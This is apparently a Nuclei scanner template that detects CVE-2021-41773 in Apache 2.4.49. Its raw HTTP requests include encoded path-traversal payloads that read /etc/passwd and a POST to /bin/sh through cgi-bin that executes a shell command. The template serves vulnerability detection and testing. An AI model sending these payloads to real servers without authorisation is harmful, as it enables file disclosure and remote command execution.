id: CVE-2021-41773 info: name: Apache 2.4.49 - Path Traversal and Remote Code Execution author: daffainfo,666asd severity: high description: | A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. remediation: | Upgrade Apache to version 2.4.50 or apply the relevant patch provided by the vendor. reference: - https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782 - https://nvd.nist.gov/vuln/detail/CVE-2021-41773 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773 - https://twitter.com/ptswarm/status/1445376079548624899 - https://twitter.com/h4x0r_dz/status/1445401960371429381 - https://github.com/blasty/CVE-2021-41773 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-41773 cwe-id: CWE-22 epss-score: 0.97474 epss-percentile: 0.99959 cpe: cpe:2.3:a:apache:http_server:2.4.49:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: apache product: http_server shodan-query: Apache 2.4.49 tags: cve,cve2021,lfi,rce,apache,misconfig,traversal,kev variables: cmd: "echo COP-37714-1202-EVC | rev" http: - raw: - | GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 Host: {{Hostname}} - | GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 Host: {{Hostname}} - | POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded echo Content-Type: text/plain; echo; {{cmd}} stop-at-first-match: true matchers-condition: or matchers: - type: word name: RCE words: - "CVE-2021-41773-POC" - type: regex name: LFI regex: - "root:.*:0:0:" # digest: 490a00463044022077d9f2658579e2d31385ee563368d2f8ccf5cd4aa97a52fbed807a92fdf1dc35022003c0fce668c76ab9568324fd833efee301836972490b3ada96817a33b2d48658:922c64590222798bb761d5b6d8e72950
